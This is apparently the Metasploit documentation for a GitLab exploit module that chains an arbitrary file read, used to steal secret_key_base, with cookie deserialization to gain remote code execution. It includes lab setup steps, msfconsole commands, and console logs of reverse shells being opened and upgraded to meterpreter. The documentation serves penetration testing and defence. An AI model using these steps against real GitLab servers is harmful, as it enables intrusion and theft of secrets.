Files
metasploit-gs/documentation/modules/exploit/multi/http/gitlab_file_read_rce.md
T
2021-05-17 23:59:08 +01:00

12 KiB

Vulnerable Application

Description

This module provides remote code execution against GitLab Community Edition (CE) and Enterprise Edition (EE). It combines an arbitrary file read to extract the Rails "secret_key_base", and gains remote code execution with a deserialization vulnerability of a signed 'experimentation_subject_id' cookie that Gitlab uses internally for A/B testing.

Note that the arbitrary file read exists in GitLab EE/CE 8.5 and later, and was fixed in 12.9.1, 12.8.8, and 12.7.8. However, the RCE only affects versions 12.4.0 and above when the vulnerable experimentation_subject_id cookie was introduced.

Tested on GitLab 12.8.1 and 12.4.0.

Setup

Running GitLab 12.8.1 with docker:

sudo docker run \
  --rm \
  --publish 443:443 --publish 80:80 --publish 22:22 \
  --name gitlab \
  gitlab/gitlab-ee:12.8.1-ee.0

The application will be available on port 80 or 443. This may take a long time.

Setting up SSL

This step is optional and only required if you wish to enable HTTPS for an arbitrary test URL such as gitlab.example.com

Connect to the running Gitlab instance:

sudo docker exec -it gitlab /bin/bash

Add these lines to /etc/gitlab/gitlab.rb:

external_url "https://gitlab.example.com"
letsencrypt['enable'] = false

Use OpenSSL to create a self signed certificate and key:

mkdir -p /etc/gitlab/ssl
chmod 755 /etc/gitlab/ssl
cd /etc/gitlab/ssl
openssl req -x509 -sha256 -nodes -days 365 -newkey rsa:2048 -keyout gitlab.example.com.key -out gitlab.example.com.crt

Reconfigure GitLab:

gitlab-ctl reconfigure

On your host machine modify your /etc/hosts file:

127.0.0.1 gitlab.example.com

Visit the test URL in your browser and either ignore the certificate warnings or add it to continue:

https://gitlab.example.com/

Creating a user

You can either create a user account normally or programmatically as shown below.

Connect to the running Gitlab instance:

sudo docker exec -it gitlab /bin/bash

Open an interactive rails console:

gitlab-rails console -e production

Optional - Set the Gitlab root account credentials:

admin = User.where(id: 1).first
admin.update!(
    password: 'password123',
    password_confirmation: 'password123',
    confirmation_token: nil,
    confirmed_at: Time.now,
    confirmation_sent_at: nil,
    failed_attempts: 0
)
admin.skip_reconfirmation!

Create a normal user account:

user = User.new(
    username: 'test',
    name: 'test',
    email: 'test@example.com',
    password: 'password123',
    password_confirmation: 'password123',
    confirmation_token: nil,
    confirmed_at: Time.now,
    confirmation_sent_at: nil,
    failed_attempts: 0
)
user.save!
user.skip_confirmation!

Once finished, kill the running docker container with:

docker kill gitlab

Verification Steps

Check:

  1. Run the application
  2. Start msfconsole
  3. use exploit/multi/http/gitlab_file_read_rce
  4. set RPORT <port>
  5. set RHOST <ip>
  6. set USERNAME test@example.com
  7. set PASSWORD password123
  8. check
[*] 10.10.10.111:9999 - The target appears to be vulnerable. GitLab 12.8.1 is a vulnerable version.

Run:

  1. Run the application
  2. Start msfconsole
  3. use exploit/multi/http/gitlab_file_read_rce
  4. set RPORT <port>
  5. set RHOST <ip>
  6. set USERNAME test@example.com
  7. set PASSWORD password123
  8. set LPORT <port>
  9. set LHOST <ip>
  10. run
  11. You should get a shell.

Specifying a SECRET_KEY_BASE to avoid the arbitrary file read:

  1. Run the application
  2. Start msfconsole
  3. use exploit/multi/http/gitlab_file_read_rce
  4. set RPORT <port>
  5. set RHOST <ip>
  6. set SECRET_KEY_BASE 301ee96a664dc634b8766368d26b4ef4deb46c593490dc1f39526e0f278f2dfcb9f5c9bb13c74b5377848259a533c9ad137885c01a4387deb799e14589a6fbac
  7. set LPORT <port>
  8. set LHOST <ip>
  9. run
  10. You should get a shell.

Scenarios

Arbitrary File Read to RCE

msf6 exploit(multi/http/gitlab_file_read_rce) > options

Module options (exploit/multi/http/gitlab_file_read_rce):

   Name          Current Setting                             Required  Description
   ----          ---------------                             --------  -----------
   DEPTH         15                                          yes       Define the max traversal depth
   PASSWORD      password123                                 yes       The password for the specified username
   Proxies                                                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS        127.0.0.1                                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT         80                                          yes       The target port (TCP)
   SECRETS_PATH  /opt/gitlab/embedded/service/gitlab-rails/  yes       The path to the secrets.yml file
                 config/secrets.yml
   SECRET_KEY_BASE                                           no        The known secret_key_base from the secrets.yml - this skips the arbitrary file read if present
   SSL           false                                       no        Negotiate SSL/TLS for outgoing connections
   TARGETURI     /users/sign_in                              yes       The path to the vulnerable application
   USERNAME      test@example.com                            yes       The username to authenticate as
   VHOST         gitlab.example.com                          no        The virtual host name to use in requests


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  docker0          yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(multi/http/gitlab_file_read_rce) > rerun

[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. GitLab 12.8.1 is a vulnerable version.
[*] Logged in to user test
[*] Created project /test/pKUuduxC
[*] Created project /test/5W350yP1
[*] created issue /test/pKUuduxC/issues/1
[*] Executing arbitrary file load
[+] File saved as: '/home/kali/.msf4/loot/20201121213408_default_127.0.0.1_gitlab.secrets_675303.txt'
[+] Extracted secret_key_base e41f3a01d22ff6a694be33bf2e5d40af89b788088938203c3478818da595731ada41c2b9c3d3caff79de7647a0c287bb68f6ca1912904a766237543013c46594
[*] Attempting to delete project /test/pKUuduxC
[*] Command shell session 23 opened (172.17.0.1:4444 -> 172.17.0.2:34058) at 2020-11-21 21:34:08 -0500
[*] Deleted project /test/pKUuduxC
[*] Attempting to delete project /test/5W350yP1
[*] Deleted project /test/5W350yP1

whoami
git
^Z
Background session 23? [y/N]  y
msf6 exploit(multi/http/gitlab_file_read_rce) > sessions -u 23
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [23]

[!] SESSION may not be compatible with this module.
[*] Upgrading session ID: 23
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 172.17.0.1:4433
[*] Sending stage (976712 bytes) to 172.17.0.2
[*] Meterpreter session 24 opened (172.17.0.1:4433 -> 172.17.0.2:45442) at 2020-11-21 21:34:34 -0500
[*] Command stager progress: 100.00% (773/773 bytes)
msf6 exploit(multi/http/gitlab_file_read_rce) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                                     Connection
  --  ----  ----                   -----------                                                     ----------
  23        shell ruby/ruby                                                                        172.17.0.1:4444 -> 172.17.0.2:34058 (127.0.0.1)
  24        meterpreter x86/linux  git @ 622b6a4c6722 (uid=998, gid=998, euid=998, egid=998) @ 17  172.17.0.1:4433 -> 172.17.0.2:45442 (172.17.0.2)
                                   2.17.0.2

msf6 exploit(multi/http/gitlab_file_read_rce) >

Specifying SECRET_KEY_BASE to RCE

msf6 exploit(multi/http/gitlab_file_read_rce) > options

Module options (exploit/multi/http/gitlab_file_read_rce):

   Name             Current Setting                            Required  Description
   ----             ---------------                            --------  -----------
   DEPTH            15                                         yes       Define the max traversal depth
   PASSWORD                                                    no        The password for the specified username
   Proxies                                                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS           127.0.0.1                                  yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:
                                                                         <path>'
   RPORT            80                                         yes       The target port (TCP)
   SECRETS_PATH     /opt/gitlab/embedded/service/gitlab-rails  yes       The path to the secrets.yml file
                    /config/secrets.yml
   SECRET_KEY_BASE  301ee96a664dc634b8766368d26b4ef4deb46c593  no        The known secret_key_base from the secrets.yml - this skips the arbitrary f
                    490dc1f39526e0f278f2dfcb9f5c9bb13c74b5377            ile read if present
                    848259a533c9ad137885c01a4387deb799e14589a
                    6fbac
   SSL              false                                      no        Negotiate SSL/TLS for outgoing connections
   TARGETURI        /users/sign_in                             yes       The path to the vulnerable application
   USERNAME                                                    no        The username to authenticate as
   VHOST            gitlab.example.com                         no        HTTP server virtual host


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  docker0          yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(multi/http/gitlab_file_read_rce) > run

[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. GitLab 12.8.1 is a vulnerable version.
[*] Command shell session 12 opened (172.17.0.1:4444 -> 172.17.0.2:58026) at 2020-12-06 19:53:24 -0500

^Z
Background session 12? [y/N]  y
msf6 exploit(multi/http/gitlab_file_read_rce) > sessions -u 12
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [12]

[!] SESSION may not be compatible with this module.
[*] Upgrading session ID: 12
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 172.17.0.1:4433
[*] Sending stage (976712 bytes) to 172.17.0.2
[*] Meterpreter session 13 opened (172.17.0.1:4433 -> 172.17.0.2:56876) at 2020-12-06 19:53:42 -0500
[*] Command stager progress: 100.00% (773/773 bytes)
msf6 exploit(multi/http/gitlab_file_read_rce) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                                      Connection
  --  ----  ----                   -----------                                                      ----------
  12        shell ruby/ruby                                                                         172.17.0.1:4444 -> 172.17.0.2:58026 (127.0.0.1)
  13        meterpreter x86/linux  git @ 5d733775a28a (uid=998, gid=998, euid=998, egid=998) @ 172  172.17.0.1:4433 -> 172.17.0.2:56876 (172.17.0.2)
                                   .17.0.2

msf6 exploit(multi/http/gitlab_file_read_rce) >